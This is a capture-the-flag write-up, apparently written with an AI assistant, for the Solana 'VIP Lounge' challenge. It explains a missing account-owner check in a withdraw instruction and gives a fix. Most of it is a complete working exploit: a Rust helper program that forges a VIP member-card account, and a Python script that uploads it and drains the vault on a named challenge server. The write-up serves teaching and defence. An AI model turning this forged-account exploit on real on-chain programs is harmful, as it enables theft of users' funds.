//VIP Lounge (Solana CTF)
Author: W1{...}
>TL;DR
-
Goal: Drain 10 SOL vault until the player reaches 5 SOL to get the flag.
-
Vulnerability: The
withdrawinstruction only checks deserializedMemberCardfields (member pubkey andis_vipflag) — it does not verify that themember_cardaccount is actually owned by the VIP Lounge program (or that its PDA belongs to the same program). That allows an attacker to create a fake card account owned by their own program, mark itis_vip=true, and trigger the withdraw. -
Exploit: Upload a small helper program that creates a PDA account (owned by that helper program), writes a valid serialized
MemberCard { member, is_vip: true }, and then CPI-invokeswithdrawon the target program with vault / fake-card / player accounts. Becausewithdrawonly inspects the data, the check passes and funds are transferred.
>Vulnerability analysis (what's wrong?)
The key code is in program/src/processor.rs.
Comparing register_member to withdraw:
-
register_memberexpects theMEMBERPDA to be created by admin and owned by the VIP Lounge program. That flow usesPubkey::create_program_addresswith seed["MEMBER", member_pubkey], and sets its owner to the VIP program. So regular registrations are safe. -
withdrawvalidates that thevault.owner == program(good) but does not validate the owner of themember_cardaccount — it only deserializes theMemberCardstruct from themember_card.dataand checks:
- card_data.member == signer pubkey
- card_data.is_vip == true
Because the withdraw routine never checks member_card.owner or derives the PDA seeds to confirm the member_card is the program's PDA, an attacker can craft (or create) an account off-chain, owned by their own program, with serialized MemberCard data and the right is_vip flag and member field. withdraw will accept it without further owner checks and grant the funds.
This is the missing validation: you must ensure the member_card account is owned by the target program with the expected seeds.
>Exploit strategy
- Create a small program (
solve) which will:
1. Derive a PDA under the solve program (we used a constant seed b"card"), or any account address that does not collide with the VIP Lounge program's PDAs.
2. Create an account at that PDA address with system_instruction::create_account signed by player (the payer). The account will be owned by the helper program (i.e., our program). This is allowed because it's our own derived PDA.
3. Serialize and write MemberCard { member: player_pubkey, is_vip: true, points: 0 } to that account data.
4. Construct a withdraw instruction to the vip_lounge program ID with accounts: vault, our card, player.
5. invoke the withdraw instruction from inside our helper program, passing the real vault (owned by the target program), our forged card, and our player account as the signer. withdraw reads the serialized member card data (our fake is_vip = true) and transfers funds to the player.
- After this sequence completes, the player will have gained 5 SOL and the server will return the flag.
>Local testing setup
- Install the solana cli + SBPF toolchain (if not already installed):
# e.g. as done during testing
sh -c "curl -sSfL https://release.anza.xyz/stable/install | bash" && export PATH="$HOME/.local/share/solana/install/active_release/bin:$PATH"
- Build program + helper + server artifacts:
# build the challenge program (BPF)
cd program
cargo build-sbf
# build the solve helper program (BPF)
cd ../solve
cargo build-sbf
# place the built vip_lounge.so near the server so the server can load it
cd ..
cp program/target/deploy/vip_lounge.so server/
# start the server in background with local flag
cd server
nohup env FLAG='W1{local_test_flag}' PORT=31337 ./target/release/vip-lounge-server >> server.log 2>&1 &
- Run exploit (local):
cd ..
./scripts/run_local_exploit.py
Local output will show a successful exploit and the flag W1{local_test_flag} if successful.
>Remote exploitation
We used the exact same steps for remote exploitation — the server accepts an uploaded program, returns game parameters (vault, player), and accepts an instruction to execute. The proof-of-concept script ./scripts/run_local_exploit.py supports --host and --port.
Command used for remote:
./scripts/run_local_exploit.py --host challenge.cnsc.com.vn --port 30385
Remote output shows the final balance and the real flag:
FLAG: W1{vip_L0uNG3-Own3r_cH3ck_BypASs609f203c}
>Fix / Mitigation
To fix the vulnerability, the program should validate the owner and PDA seeds of the member_card argument in withdraw (and register_member should stay as-is). Check for example:
-
Use
Pubkey::create_program_address(orfind_program_addressand provide bump) to derive the member PDA using the same seeds and verifymember_card.key == expected_pda. -
Check
member_card.owner == programso it's guaranteed to be owned by and controlled by the vip_lounge program. This prevents outside programs from forgingMemberCarddata.
Additionally, always check ownership of sparse accounts when the program reads from the data field.
>Reproducer / Tools / Notes
-
solana-cli,cargo build-sbf& BPF toolchain were needed to compile the program and helper -
Python script
scripts/run_local_exploit.pydoes the automation of uploading the helper program, parsing the challenge parameters, deriving PDAs, and sending the exploit -
The exploit used a helper program we wrote in
solve/and a small automation script inscripts/.
>Source code (helper & script)
solve main program (helper)
// File: solve/src/lib.rs
// EXPLAINER: This program runs in the player's address-space and creates a fake member card owned
// by *this* helper program, sets is_vip=true, and invokes the vip_lounge::withdraw instruction.
#![deny(clippy::all)]
use borsh::BorshSerialize;
use solana_program::account_info::{next_account_info, AccountInfo};
use solana_program::entrypoint;
use solana_program::entrypoint::ProgramResult;
use solana_program::program::{invoke, invoke_signed};
use solana_program::program_error::ProgramError;
use solana_program::pubkey::Pubkey;
use solana_program::rent::Rent;
use solana_program::system_instruction;
use solana_program::sysvar::Sysvar;
use vip_lounge::{MemberCard, MEMBER_CARD_SIZE};
const CARD_SEED_PREFIX: &[u8] = b"card";
const TARGET_WITHDRAW: u64 = 5_000_000_000; // 5 SOL
entrypoint!(process_instruction);
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
_instruction_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let player = next_account_info(account_iter)?;
let card = next_account_info(account_iter)?;
let vip_program = next_account_info(account_iter)?;
let vault = next_account_info(account_iter)?;
let system_program = next_account_info(account_iter)?;
if !player.is_signer {
return Err(ProgramError::MissingRequiredSignature);
}
// Use a constant PDA for the helper's card.
let (expected_card, bump) = Pubkey::find_program_address(&[CARD_SEED_PREFIX], program_id);
if *card.key != expected_card {
return Err(ProgramError::InvalidSeeds);
}
if card.owner != program_id && card.lamports() > 0 {
return Err(ProgramError::IllegalOwner);
}
if card.lamports() == 0 {
let rent = Rent::get()?;
let lamports = rent.minimum_balance(MEMBER_CARD_SIZE);
invoke_signed(
&system_instruction::create_account(
player.key,
card.key,
lamports,
MEMBER_CARD_SIZE as u64,
program_id,
),
&[player.clone(), card.clone(), system_program.clone()],
&[&[CARD_SEED_PREFIX, &[bump]]],
)?;
}
{
let mut data = card.try_borrow_mut_data()?;
let mut writer = &mut data[..];
MemberCard {
member: *player.key,
is_vip: true,
points: 0,
}
.serialize(&mut writer)?;
}
let withdraw_ix = vip_lounge::withdraw(
*vip_program.key,
*player.key,
*card.key,
TARGET_WITHDRAW,
);
invoke(
&withdraw_ix,
&[vault.clone(), card.clone(), player.clone()],
)?;
Ok(())
}
scripts/run_local_exploit.py (automated exploit)
#!/usr/bin/env python3
"""Upload the solver program and trigger the VIP Lounge exploit locally."""
from __future__ import annotations
import argparse
import hashlib
import json
import socket
from pathlib import Path
from typing import List, Optional, Tuple
import base58 # type: ignore
from nacl.bindings import crypto_core_ed25519_is_valid_point # type: ignore
REPO_ROOT = Path(__file__).resolve().parents[1]
SOLVER_ARTIFACT = REPO_ROOT / "solve" / "target" / "deploy" / "solve.so"
SOLVER_KEYPAIR = REPO_ROOT / "solve" / "target" / "deploy" / "solve-keypair.json"
SYSTEM_PROGRAM = "11111111111111111111111111111111"
CARD_SEED = b"card"
def load_program_pubkey() -> str:
raw = json.loads(SOLVER_KEYPAIR.read_text())
if len(raw) < 64:
raise ValueError("invalid keypair file")
pubkey_bytes = bytes(raw[32:64])
return base58.b58encode(pubkey_bytes).decode()
def create_program_address(seeds: List[bytes], program_bytes: bytes) -> bytes:
if len(seeds) > 16:
raise ValueError("too many seeds")
for seed in seeds:
if len(seed) > 32:
raise ValueError("seed too long")
data = b"".join(seeds) + program_bytes + b"ProgramDerivedAddress"
candidate = hashlib.sha256(data).digest()
if crypto_core_ed25519_is_valid_point(candidate):
raise ValueError("produced on-curve address")
return candidate
def find_program_address(program_id: str, base_seeds: List[bytes]) -> Tuple[str, int]:
program_bytes = base58.b58decode(program_id)
for bump in range(255, -1, -1):
seeds = base_seeds + [bytes([bump])]
try:
addr = create_program_address(seeds, program_bytes)
return base58.b58encode(addr).decode(), bump
except ValueError:
continue
raise RuntimeError("failed to derive PDA")
def recv_line(sock: socket.socket, buffer: bytearray) -> Optional[str]:
while True:
newline_index = buffer.find(b"\n")
if newline_index != -1:
line = buffer[:newline_index]
del buffer[: newline_index + 1]
return line.decode(errors="ignore").rstrip("\r")
chunk = sock.recv(4096)
if not chunk:
if buffer:
line = buffer.decode(errors="ignore")
buffer.clear()
return line
return None
buffer.extend(chunk)
def send_line(sock: socket.socket, text: str) -> None:
sock.sendall(text.encode() + b"\n")
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Exploit the VIP Lounge challenge")
parser.add_argument("--host", default="127.0.0.1", help="challenge host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=31337, help="challenge port (default: 31337)")
return parser.parse_args()
def main() -> None:
args = parse_args()
solver_program_id = load_program_pubkey()
solver_bytes = SOLVER_ARTIFACT.read_bytes()
print(f"[*] Solver program: {solver_program_id}")
print(f"[*] Artifact size: {len(solver_bytes)} bytes")
print(f"[*] Target: {args.host}:{args.port}")
with socket.create_connection((args.host, args.port)) as sock:
buffer = bytearray()
def drain_until(prompt: str) -> None:
while True:
line = recv_line(sock, buffer)
if line is None:
raise RuntimeError("connection closed before prompt")
print(line)
if prompt in line:
return
drain_until("program pubkey:")
send_line(sock, solver_program_id)
drain_until("program len:")
send_line(sock, str(len(solver_bytes)))
sock.sendall(solver_bytes)
print("[*] Uploaded solve program")
vip_program = None
vault = None
player = None
while True:
line = recv_line(sock, buffer)
if line is None:
raise RuntimeError("connection closed before instruction prompt")
print(line)
stripped = line.strip()
if stripped.startswith("Program ID:"):
vip_program = stripped.split(":", 1)[1].strip()
elif stripped.startswith("Vault:"):
vault = stripped.split(":", 1)[1].strip()
elif stripped.startswith("Player:"):
player = stripped.split(":", 1)[1].strip()
if "num accounts:" in line:
break
if not (vip_program and vault and player):
raise RuntimeError("missing challenge parameters")
print(f"[*] VIP Program: {vip_program}")
print(f"[*] Vault: {vault}")
print(f"[*] Player: {player}")
card_pubkey, _ = find_program_address(solver_program_id, [CARD_SEED])
print(f"[*] Forged card PDA: {card_pubkey}")
send_line(sock, "5")
accounts = [
("ws", player),
("w", card_pubkey),
("-", vip_program),
("w", vault),
("-", SYSTEM_PROGRAM),
]
for meta, pubkey in accounts:
send_line(sock, f"{meta} {pubkey}")
drain_until("ix len:")
send_line(sock, "0")
print("[*] Instruction submitted, awaiting result...")
while True:
line = recv_line(sock, buffer)
if line is None:
break
print(line)
print("[*] Connection closed")
if __name__ == "__main__":
main()
Vulnerable code (for context): program/src/processor.rs
// Function: withdraw (simplified, relevant lines)
fn withdraw(program: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
let account_iter = &mut accounts.iter();
let vault = next_account_info(account_iter)?;
let member_card = next_account_info(account_iter)?;
let member = next_account_info(account_iter)?;
// Member must sign
if !member.is_signer {
return Err(ProgramError::MissingRequiredSignature);
}
// Verify vault is a PDA owned by this program
if vault.owner != program {
return Err(ProgramError::IllegalOwner);
}
// Deserialize however the card is used
let card_data = MemberCard::deserialize(&mut &(*member_card.data).borrow()[..])?;
// Verify membership
if card_data.member != *member.key { /* error */ }
if !card_data.is_vip { /* error */ }
// Transfer funds
}
>Notes / Final Message
-
This is an example of not checking account ownership when reading on-chain account data.
-
Always verify owner and PDA derivation when reading account data used for final authorization decisions.
If you want, I can add a PoC to do the same exploit in raw solana CLI commands, or implement the defense patch and show how that prevents the exploit.
>Acknowledgements
-
Challenge source in repo
VIPLounge(containsprogram/,server/, andchallenge/) -
Solana tooling and
sol-ctf-frameworkfor running and testing locally